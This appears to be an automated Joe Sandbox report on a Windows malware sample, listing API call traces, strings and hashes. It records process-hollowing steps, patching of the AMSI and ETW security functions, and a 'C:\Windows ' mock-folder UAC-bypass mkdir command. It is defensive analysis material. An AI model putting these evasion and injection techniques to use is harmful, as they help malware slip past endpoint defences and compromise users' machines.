Part of subcall function 040BCE00: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 040BCEAC
Part of subcall function 040BCE00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 040BCEB5

Part of subcall function 040A7DF8: GetFileAttributesA.KERNEL32(00000000,?,040C13B4,ScanString,04100344,040C9768,OpenSession,04100344,040C9768,OpenSession,04100344,040C9768,ScanBuffer,04100344,040C9768,ScanString), ref: 040A7E03

Part of subcall function 040A7F8C: CreateDirectoryA.KERNEL32(00000000,00000000,?,040C15A5,ScanBuffer,04100344,040C9768,OpenSession,04100344,040C9768,Initialize,04100344,040C9768,ScanString,04100344,040C9768), ref: 040A7F99

WinExec.KERNEL32(cmd /c mkdir "\\?\C:\Windows ",00000000), ref: 040C1BD4
WinExec.KERNEL32(cmd /c mkdir "\\?\C:\Windows \System32",00000000), ref: 040C1D54
Sleep.KERNEL32(00000BB8,ScanString,04100344,040C9768,cmd /c mkdir "\\?\C:\Windows \System32",00000000,ScanBuffer,04100344,040C9768,UacInitialize,04100344,040C9768,Initialize,04100344,040C9768,cmd /c mkdir "\\?\C:\Windows "), ref: 040C1DDA

Strings

FindCertsByIssuer, xrefs: 040BDBDB
DlpGetWebSiteAccess, xrefs: 040C8404
Kernel32, xrefs: 040C8920, 040C892F, 040C896B
NtGetWriteWatch, xrefs: 040C8E94
LdrGetProcedureAddress, xrefs: 040C9092
Advapi, xrefs: 040C88D5, 040C88E4, 040C88F3, 040C8902, 040C893E, 040C894D, 040C895C
OpenProcess, xrefs: 040C8B88
C:\Windows\SysWOW64, xrefs: 040C1A3C
NtDeviceIoControlFile, xrefs: 040C88A3
^^Nc, xrefs: 040BED90, 040BF54C
UacInitialize, xrefs: 040BD9E6, 040BE0C7, 040BE7D7, 040C1AE1, 040C1C61, 040C1F82, 040C3AA7, 040C3F94, 040C5A89, 040C7469, 040C8981
NtAlertResumeThread, xrefs: 040C852F
IconIndex=, xrefs: 040C4F5B
TrustOpenStores, xrefs: 040BDB7E
CreateProcessWithLogonW, xrefs: 040C8957
DllGetClassObject, xrefs: 040BDAA5, 040BDFAC, 040C14BA, 040C8033, 040C8DFB
SxTracerGetThreadContextDebug, xrefs: 040C8000, 040C8DC8
EnumServicesStatusExA, xrefs: 040C88EE
RtlQueryProcessDebugInformation, xrefs: 040C88C1
Ntdll, xrefs: 040C8899, 040C88A8, 040C88B7, 040C88C6
VirtualAlloc, xrefs: 040C8AEF
C:\Users\Public\, xrefs: 040C3F3D, 040C51A1
NtMapViewOfSection, xrefs: 040C8F93
smartscreenps, xrefs: 040BDFC3, 040BDFF6, 040BE029
NtQueryInformationThread, xrefs: 040C8EFA
NtQuerySecurityObject, xrefs: 040C8FF9
EtwEventWrite, xrefs: 040C915E
ScanString, xrefs: 040BDB23, 040BDC14, 040BDDA5, 040BDF36, 040BE1BF, 040BE2DE, 040BE853, 040BF45A, 040BF5F6, 040BFA32, 040BFC4D, 040BFCC9, 040BFFE6, 040C030C, 040C05D5, 040C0A12, 040C0E43, 040C1053, 040C1322, 040C1D65, 040C1DEB, 040C36F1, 040C376D, 040C3907, 040C3C4C, 040C4010, 040C4381, 040C4E88, 040C4FFD, 040C50B5, 040C5710, 040C5BAA, 040C6011, 040C6634, 040C70DB, 040C7638, 040C7A19, 040C7D17, 040C80D2, 040C84B9, 040C86B0, 040C8A79, 040C8D52
CreateProcessW, xrefs: 040C892A
HotKey=, xrefs: 040C508F
cmd /c mkdir "\\?\C:\Windows ", xrefs: 040C1BCF
NtQuerySystemInformation, xrefs: 040C8894
GetProcessMemoryInfo, xrefs: 040C8066
MZP, xrefs: 040C78B0
NtWaitForSingleObject, xrefs: 040C8595
EnumServicesStatusW, xrefs: 040C88DF
OpenSession, xrefs: 040BD91E, 040BE262, 040BE383, 040BE490, 040BE597, 040BE95A, 040BEAF8, 040BEC9E, 040BEDBE, 040BEF53, 040BF04B, 040BF238, 040BF3DE, 040BF70C, 040BF93A, 040BFAAE, 040BFBD1, 040BFD4F, 040C00F5, 040C0178, 040C0290, 040C03A8, 040C04B4, 040C06D2, 040C07EF, 040C0A8E, 040C0B0A, 040C0D1F, 040C0EBF, 040C1185, 040C12A6, 040C1444, 040C162D, 040C1E67, 040C1FFE, 040C37E9, 040C3983, 040C3B23, 040C3CC8, 040C3E3C, 040C408C, 040C4140, 040C4479, 040C4816, 040C499F, 040C4C79, 040C4DED, 040C4F81, 040C5131, 040C5808, 040C5A0D, 040C5C26, 040C5CC9, 040C5E5C, 040C612C, 040C64C0, 040C67BD, 040C6916, 040C6ABC, 040C6C49, 040C6DDD, 040C6F5C, 040C705F, 040C71D3, 040C73C3, 040C76B4, 040C783A, 040C7A95, 040C7C9B, 040C7E5F, 040C814E, 040C81FD, 040C843D, 040C8634, 040C872C, 040C89FD, 040C8CD6, 040C9197
EnumProcessModules, xrefs: 040C890C
GET, xrefs: 040C0383
SLGetEncryptedPIDEx, xrefs: 040C8E61
[InternetShortcut], xrefs: 040C4EF8
RtlCreateQueryDebugBuffer, xrefs: 040C85FB
http, xrefs: 040C0056
ScanBuffer, xrefs: 040BD8BA, 040BDC90, 040BDEBA, 040BE3FF, 040BE50C, 040BE613, 040BE9D6, 040BEB74, 040BED1A, 040BEE3A, 040BEFCF, 040BF0C7, 040BF330, 040BF4D6, 040BF672, 040BF788, 040BF816, 040BFB2A, 040BFDCB, 040BFEDC, 040C0079, 040C0424, 040C0530, 040C074E, 040C086B, 040C0B86, 040C0C27, 040C0D9B, 040C0F5B, 040C1109, 040C1513, 040C15B1, 040C17D4, 040C19C6, 040C1B5D, 040C1CDD, 040C1EE3, 040C3675, 040C3865, 040C3B9F, 040C3EB8, 040C4238, 040C45ED, 040C479A, 040C4A1B, 040C4B81, 040C4CF5, 040C4D71, 040C5900, 040C5991, 040C5DC1, 040C5F54, 040C60B0, 040C6224, 040C66C5, 040C6992, 040C6B38, 040C6CC5, 040C6E59, 040C6FD8, 040C724F, 040C74E5, 040C77BE, 040C7957, 040C7B11, 040C7C1F, 040C7F57, 040C82F5, 040C8824, 040C928F
CreateProcessA, xrefs: 040C891B
NtAccessCheck, xrefs: 040C902C
CryptSIPGetSignedDataMsg, xrefs: 040BDD6C
spp, xrefs: 040C8017, 040C804A, 040C8DDF
GetProxyDllInfo, xrefs: 040BDACC
WriteVirtualMemory, xrefs: 040C8BBB
C:\Windows\System32\, xrefs: 040BE35A, 040C5B07, 040C684F
SLLoadApplicationPolicies, xrefs: 040C7E26
ieproxy, xrefs: 040BDAB6, 040BDADD, 040BDB04
EtwEventWriteEx, xrefs: 040C912B
endpointdlp, xrefs: 040C8382, 040C83B5, 040C83E8, 040C841B
mssip32, xrefs: 040BDD1D, 040BDD50, 040BDD83, 040C80B0
Initialize, xrefs: 040BD982, 040BE75B, 040BE8DE, 040BEA7C, 040BEC22, 040BEED7, 040BF57A, 040BF9B6, 040BFE60, 040BFF6A, 040C0651, 040C0983, 040C0CA3, 040C0FD7, 040C13C8, 040C1758, 040C194A, 040C1A65, 040C1BE5, 040C207A, 040C3A2B, 040C3DC0, 040C41BC, 040C43FD, 040C44F5, 040C46A2, 040C4923, 040C5884, 040C653C, 040C72CB, 040C7EDB, 040C8279, 040C87A8, 040C8C5A, 040C9213
cmd /c mkdir "\\?\C:\Windows \System32", xrefs: 040C1D4F
iexpress.exe, xrefs: 040BE581
SLGatherMigrationBlob, xrefs: 040C8E2E
@^@, xrefs: 040BFBA0
C:\\Users\\Public\\Libraries\\, xrefs: 040C4324
NtQueryDirectoryFile, xrefs: 040C88B2
DlpGetArchiveFileTraceInfo, xrefs: 040C83D1
can, xrefs: 040C2161
DlpNotifyPreDragDrop, xrefs: 040C836B
VirtualAllocEx, xrefs: 040C8B22
RetailTracerEnable, xrefs: 040C7FCD
C:\\Windows\\System32\\extrac32.exe /C /Y , xrefs: 040C465F
wintrust, xrefs: 040BDB8F, 040BDBBF, 040BDBF2
NtCreateSection, xrefs: 040C8F60
sppwmi, xrefs: 040C8E12
acS, xrefs: 040C214E
EnumServicesStatusExW, xrefs: 040C88FD
VirtualProtect, xrefs: 040C8B55
RtlAllocateHeap, xrefs: 040C8562, 040C85C8
NtWriteVirtualMemory, xrefs: 040C90C5
BCryptRegisterProvider, xrefs: 040BDE81
C:\Windows \System32, xrefs: 040C1F59
CryptSIPVerifyIndirectData, xrefs: 040BDD39, 040C8099
CreateProcessAsUserA, xrefs: 040C8939
BCryptVerifySignature, xrefs: 040BDE1B, 040C81C4
CryptSIPGetInfo, xrefs: 040BDD06
NtQueryVirtualMemory, xrefs: 040C8EC7
URL=file:", xrefs: 040C4F07
bcrypt, xrefs: 040BDE32, 040BDE65, 040BDE98, 040C81DB
C:\Users\Public\Libraries, xrefs: 040BE8C8
BCryptQueryProviderRegistration, xrefs: 040BDE4E
SLGetGenuineInformation, xrefs: 040C7D8D
CreateProcessAsUserW, xrefs: 040C8948, 040C8966
NtReadVirtualMemory, xrefs: 040C8FC6
psapi, xrefs: 040C8911
sppc, xrefs: 040C7DA4, 040C7DD7, 040C7E0A, 040C7E3D, 040C8E45, 040C8E78
ntdll, xrefs: 040C8546, 040C8579, 040C85AC, 040C85DF, 040C8612, 040C8EAB, 040C8EDE, 040C8F11, 040C8F44, 040C8F77, 040C8FAA, 040C8FDD, 040C9010, 040C9043, 040C9076, 040C90A9, 040C90DC, 040C910F, 040C9142, 040C9175
LdrLoadDll, xrefs: 040C905F
NtOpenFile, xrefs: 040C90F8
DllRegisterServer, xrefs: 040BDAF3, 040BE012
.url, xrefs: 040C3F48
FlushInstructionCache, xrefs: 040C8BEE
kernel32, xrefs: 040C8B06, 040C8B39, 040C8B6C, 040C8B9F, 040C8BD2, 040C8C05, 040C8C38
SLIsGenuineLocalEx, xrefs: 040C7DF3
DlpCheckIsCloudSyncApp, xrefs: 040C839E
DllGetActivationFactory, xrefs: 040BDFDF
tquery, xrefs: 040C7FE4
UacScan, xrefs: 040BDA4A, 040BE04B, 040BE143, 040BE6DF, 040BF2B4, 040BF892, 040C01F4, 040C0907, 040C1850, 040C3D44, 040C42B4, 040C4571, 040C471E, 040C48A7, 040C4B05, 040C4BFD, 040C578C, 040C5B2E, 040C5D45, 040C5ED8, 040C61A8, 040C65B8, 040C6741, 040C689A, 040C6A40, 040C6BCD, 040C6D61, 040C6EE0, 040C7157, 040C7347, 040C7561, 040C7742, 040C78DB, 040C7B8D
UacUninitialize, xrefs: 040C16DC
SetUnhandledExceptionFilter, xrefs: 040C8C21
DEEX, xrefs: 040BD893
SLGetSLIDList, xrefs: 040C7DC0
psapi, xrefs: 040C807D
WinHttp.WinHttpRequest.5.1, xrefs: 040C026A
EnumServicesStatusA, xrefs: 040C88D0
NtOpenSection, xrefs: 040C8F2D
WintrustAddActionID, xrefs: 040BDBA8

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: File$AttributesExecModuleNamePath$AddressCloseCreateDirectoryHandleInetInformationLibraryLoadName_OfflineOpenProcQueryReadSleep
String ID: .url$@^@$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows \System32$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows\\System32\\extrac32.exe /C /Y $CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$bcrypt$can$cmd /c mkdir "\\?\C:\Windows "$cmd /c mkdir "\\?\C:\Windows \System32"$endpointdlp$http$ieproxy$iexpress.exe$kernel32$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$tquery$wintrust
API String ID: 1211517183-1152008110
Opcode ID: 2710da127c0b3e98bba154cd7beddb25790be6b4e2a361d828fe0410ac40a52f
Instruction ID: 213aead65e13e92fdf7a95f22218548a0f2287178da34d518b3413bf257e789e
Opcode Fuzzy Hash: 2710da127c0b3e98bba154cd7beddb25790be6b4e2a361d828fe0410ac40a52f
Instruction Fuzzy Hash: 8914DB38A411598FEB10EBA4D980ECEB3B9EF8570CF5446E5A008BB614DB74BE95CF41

Uniqueness

Uniqueness Score: -1.00%

Function 040C62C4 Relevance: 147.9, APIs: 5, Strings: 78, Instructions: 2689
threadprocessnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,041F4798,041F47DC,OpenSession,04100344,040C9768,UacScan,04100344), ref: 040C6885
NtQueueApcThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,00000000,ScanBuffer,04100344,040C9768,OpenSession,04100344,040C9768,UacScan,04100344,040C9768,ScanBuffer,04100344), ref: 040C6D50
ResumeThread.KERNEL32(00000000,ScanBuffer,04100344,040C9768,OpenSession,04100344,040C9768,UacScan,04100344,040C9768,ScanBuffer,04100344,040C9768,OpenSession,04100344,040C9768), ref: 040C6ECF
CloseHandle.KERNEL32(00000000,ScanBuffer,04100344,040C9768,OpenSession,04100344,040C9768,UacScan,04100344,040C9768,00000000,ScanBuffer,04100344,040C9768,OpenSession,04100344), ref: 040C704E

Part of subcall function 040A7DD4: GetFileAttributesA.KERNEL32(00000000,?,040BE36F,ScanString,04100344,040C9768,OpenSession,04100344,040C9768,ScanString,04100344,040C9768,UacScan,04100344,040C9768,UacInitialize), ref: 040A7DDF

Part of subcall function 040BCD1C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,040BCDEE), ref: 040BCD5B
Part of subcall function 040BCD1C: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 040BCD95
Part of subcall function 040BCD1C: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 040BCDC2
Part of subcall function 040BCD1C: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 040BCDCB

ExitProcess.KERNEL32(00000000,ScanBuffer,04100344,040C9768,Initialize,04100344,040C9768,OpenSession,04100344,040C9768,ScanString,04100344,040C9768,OpenSession,04100344,040C9768), ref: 040C9301

Strings

DlpGetWebSiteAccess, xrefs: 040C8404
Kernel32, xrefs: 040C8920, 040C892F, 040C896B
SLGatherMigrationBlob, xrefs: 040C8E2E
NtGetWriteWatch, xrefs: 040C8E94
LdrGetProcedureAddress, xrefs: 040C9092
NtQueryDirectoryFile, xrefs: 040C88B2
Advapi, xrefs: 040C88D5, 040C88E4, 040C88F3, 040C8902, 040C893E, 040C894D, 040C895C
DlpGetArchiveFileTraceInfo, xrefs: 040C83D1
DlpNotifyPreDragDrop, xrefs: 040C836B
RetailTracerEnable, xrefs: 040C7FCD
VirtualAllocEx, xrefs: 040C8B22
OpenProcess, xrefs: 040C8B88
NtDeviceIoControlFile, xrefs: 040C88A3
NtCreateSection, xrefs: 040C8F60
UacInitialize, xrefs: 040C7469, 040C8981
sppwmi, xrefs: 040C8E12
NtAlertResumeThread, xrefs: 040C852F
EnumServicesStatusExW, xrefs: 040C88FD
CreateProcessWithLogonW, xrefs: 040C8957
SxTracerGetThreadContextDebug, xrefs: 040C8000, 040C8DC8
EnumServicesStatusExA, xrefs: 040C88EE
DllGetClassObject, xrefs: 040C8033, 040C8DFB
RtlQueryProcessDebugInformation, xrefs: 040C88C1
VirtualProtect, xrefs: 040C8B55
Ntdll, xrefs: 040C8899, 040C88A8, 040C88B7, 040C88C6
VirtualAlloc, xrefs: 040C8AEF
RtlAllocateHeap, xrefs: 040C8562, 040C85C8
NtWriteVirtualMemory, xrefs: 040C90C5
CryptSIPVerifyIndirectData, xrefs: 040C8099
NtMapViewOfSection, xrefs: 040C8F93
CreateProcessAsUserA, xrefs: 040C8939
BCryptVerifySignature, xrefs: 040C81C4
NtQueryInformationThread, xrefs: 040C8EFA
NtQuerySecurityObject, xrefs: 040C8FF9
EtwEventWrite, xrefs: 040C915E
ScanString, xrefs: 040C63C8, 040C6634, 040C70DB, 040C7638, 040C7A19, 040C7D17, 040C80D2, 040C84B9, 040C86B0, 040C8A79, 040C8D52
CreateProcessW, xrefs: 040C892A
NtQuerySystemInformation, xrefs: 040C8894
NtQueryVirtualMemory, xrefs: 040C8EC7
GetProcessMemoryInfo, xrefs: 040C8066
MZP, xrefs: 040C78B0
NtWaitForSingleObject, xrefs: 040C8595
EnumServicesStatusW, xrefs: 040C88DF
bcrypt, xrefs: 040C81DB
OpenSession, xrefs: 040C62D0, 040C6444, 040C64C0, 040C67BD, 040C6916, 040C6ABC, 040C6C49, 040C6DDD, 040C6F5C, 040C705F, 040C71D3, 040C73C3, 040C76B4, 040C783A, 040C7A95, 040C7C9B, 040C7E5F, 040C814E, 040C81FD, 040C843D, 040C8634, 040C872C, 040C89FD, 040C8CD6, 040C9197
EnumProcessModules, xrefs: 040C890C
RtlCreateQueryDebugBuffer, xrefs: 040C85FB
SLGetEncryptedPIDEx, xrefs: 040C8E61
SLGetGenuineInformation, xrefs: 040C7D8D
ScanBuffer, xrefs: 040C66C5, 040C6992, 040C6B38, 040C6CC5, 040C6E59, 040C6FD8, 040C724F, 040C74E5, 040C77BE, 040C7957, 040C7B11, 040C7C1F, 040C7F57, 040C82F5, 040C8824, 040C928F
CreateProcessAsUserW, xrefs: 040C8948, 040C8966
NtReadVirtualMemory, xrefs: 040C8FC6
psapi, xrefs: 040C8911
CreateProcessA, xrefs: 040C891B
sppc, xrefs: 040C7DA4, 040C7DD7, 040C7E0A, 040C7E3D, 040C8E45, 040C8E78
NtAccessCheck, xrefs: 040C902C
ntdll, xrefs: 040C8546, 040C8579, 040C85AC, 040C85DF, 040C8612, 040C8EAB, 040C8EDE, 040C8F11, 040C8F44, 040C8F77, 040C8FAA, 040C8FDD, 040C9010, 040C9043, 040C9076, 040C90A9, 040C90DC, 040C910F, 040C9142, 040C9175
LdrLoadDll, xrefs: 040C905F
NtOpenFile, xrefs: 040C90F8
FlushInstructionCache, xrefs: 040C8BEE
SLIsGenuineLocalEx, xrefs: 040C7DF3
kernel32, xrefs: 040C8B06, 040C8B39, 040C8B6C, 040C8B9F, 040C8BD2, 040C8C05, 040C8C38
spp, xrefs: 040C8017, 040C804A, 040C8DDF
DlpCheckIsCloudSyncApp, xrefs: 040C839E
tquery, xrefs: 040C7FE4
WriteVirtualMemory, xrefs: 040C8BBB
UacScan, xrefs: 040C65B8, 040C6741, 040C689A, 040C6A40, 040C6BCD, 040C6D61, 040C6EE0, 040C7157, 040C7347, 040C7561, 040C7742, 040C78DB, 040C7B8D
C:\Windows\System32\, xrefs: 040C684F
SLLoadApplicationPolicies, xrefs: 040C7E26
endpointdlp, xrefs: 040C8382, 040C83B5, 040C83E8, 040C841B
EtwEventWriteEx, xrefs: 040C912B
mssip32, xrefs: 040C80B0
SetUnhandledExceptionFilter, xrefs: 040C8C21
SLGetSLIDList, xrefs: 040C7DC0
psapi, xrefs: 040C807D
EnumServicesStatusA, xrefs: 040C88D0
Initialize, xrefs: 040C634C, 040C653C, 040C72CB, 040C7EDB, 040C8279, 040C87A8, 040C8C5A, 040C9213
NtOpenSection, xrefs: 040C8F2D

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathProcessThread$AddressAttributesExitLibraryLoadModuleNameName_ProcQueueResumeUserWrite
String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$bcrypt$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 2601453139-4169187149
Opcode ID: 19bf158adfb86830e3e9908d9f3f189ad8a195967712c054973a998f4a66aa91
Instruction ID: e4a93a957eddac958dbb963bbf766e4d939d24a6b4e1bcb0a8f6fded2960db71
Opcode Fuzzy Hash: 19bf158adfb86830e3e9908d9f3f189ad8a195967712c054973a998f4a66aa91
Instruction Fuzzy Hash: 5943F939A41119CFEB14EBA4D880DCEB3B9EF8570CF5546E5A008BB610DB74BEA58F41

Uniqueness

Uniqueness Score: -1.00%

Function 040B7EE8 Relevance: 41.9, APIs: 8, Strings: 15, Instructions: 1602
nativethreadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 040B7B88: LoadLibraryW.KERNEL32(?,00000000,040B7C3A), ref: 040B7BB8
Part of subcall function 040B7B88: GetModuleHandleW.KERNEL32(?,?,00000000,040B7C3A), ref: 040B7BBE
Part of subcall function 040B7B88: GetProcAddress.KERNEL32(00000000,00000000), ref: 040B7BD7

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,04100398,04100388,OpenSession,04100360,040B99D0,ScanString,04100360), ref: 040B83E6
GetThreadContext.KERNEL32(00000868,041003DC,ScanString,04100360,040B99D0,UacInitialize,04100360,040B99D0,ScanBuffer,04100360,040B99D0,ScanBuffer,04100360,040B99D0,UacInitialize,04100360), ref: 040B877F
NtReadVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00292FF8,041004B0,00000004,041004B8,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360), ref: 040B89DC
NtUnmapViewOfSection.N(00000894,00590000,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,00000894,00292FF8,041004B0,00000004,041004B8), ref: 040B8B57

Part of subcall function 040B78F8: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 040B7905
Part of subcall function 040B78F8: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040B790B
Part of subcall function 040B78F8: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 040B792B

NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00590000,00000000,11D95300,041004B8,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,ScanBuffer,04100360), ref: 040B91AB
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00292FF8,041004B4,00000004,041004B8,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,00000894,00590000), ref: 040B931E
SetThreadContext.KERNEL32(00000868,041003DC,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,00000894,00292FF8,041004B4,00000004,041004B8), ref: 040B9494
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000868,00000000,00000868,041003DC,ScanBuffer,04100360,040B99D0,ScanString,04100360,040B99D0,Initialize,04100360,040B99D0,00000894,00292FF8,041004B4), ref: 040B94A1

Part of subcall function 040B7A50: LoadLibraryW.KERNEL32(bcrypt,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360,040B99D0,UacInitialize,04100360,040B99D0,00000868,041003DC,ScanString,04100360,040B99D0), ref: 040B7A62
Part of subcall function 040B7A50: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 040B7A6F
Part of subcall function 040B7A50: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000894,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360,040B99D0,UacInitialize), ref: 040B7A86
Part of subcall function 040B7A50: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,040B99D0,Initialize,04100360,040B99D0,UacScan,04100360,040B99D0,UacInitialize,04100360,040B99D0,00000868,041003DC), ref: 040B7A95

Strings

OpenSession, xrefs: 040B7F21, 040B8344, 040B83F6, 040B97CC, 040B9870
Initialize, xrefs: 040B8262, 040B8875, 040B89FC, 040B8DE5, 040B9047, 040B91B7, 040B932A, 040B958F
BCryptQueryProviderRegistration, xrefs: 040B9704
ScanString, xrefs: 040B7F7A, 040B8125, 040B82D3, 040B8700, 040B88E6, 040B8A6D, 040B8EFA, 040B90B8, 040B9228, 040B939B, 040B9686, 040B9733
NtReadVirtualMemory, xrefs: 040B979D
UacScan, xrefs: 040B7FEB, 040B8203, 040B8804, 040B8C00, 040B8D74, 040B951E
SLGetLicenseInformation, xrefs: 040B84D7
sppc, xrefs: 040B84EE
UacInitialize, xrefs: 040B81AA, 040B850B, 040B868F, 040B8793, 040B8B8F, 040B8D03, 040B94AD
bcrypt, xrefs: 040B96F5, 040B9709, 040B971D
ScanBuffer, xrefs: 040B8044, 040B80CC, 040B8467, 040B857C, 040B861E, 040B8957, 040B8ADE, 040B8C71, 040B8E56, 040B8F6B, 040B9129, 040B9299, 040B940C, 040B9600, 040B981E, 040B98E1
NtOpenObjectAuditAlarm, xrefs: 040B97B1
BCryptVerifySignature, xrefs: 040B96F0
BCryptRegisterProvider, xrefs: 040B9718
ntdll, xrefs: 040B97A2, 040B97B6

Memory Dump Source

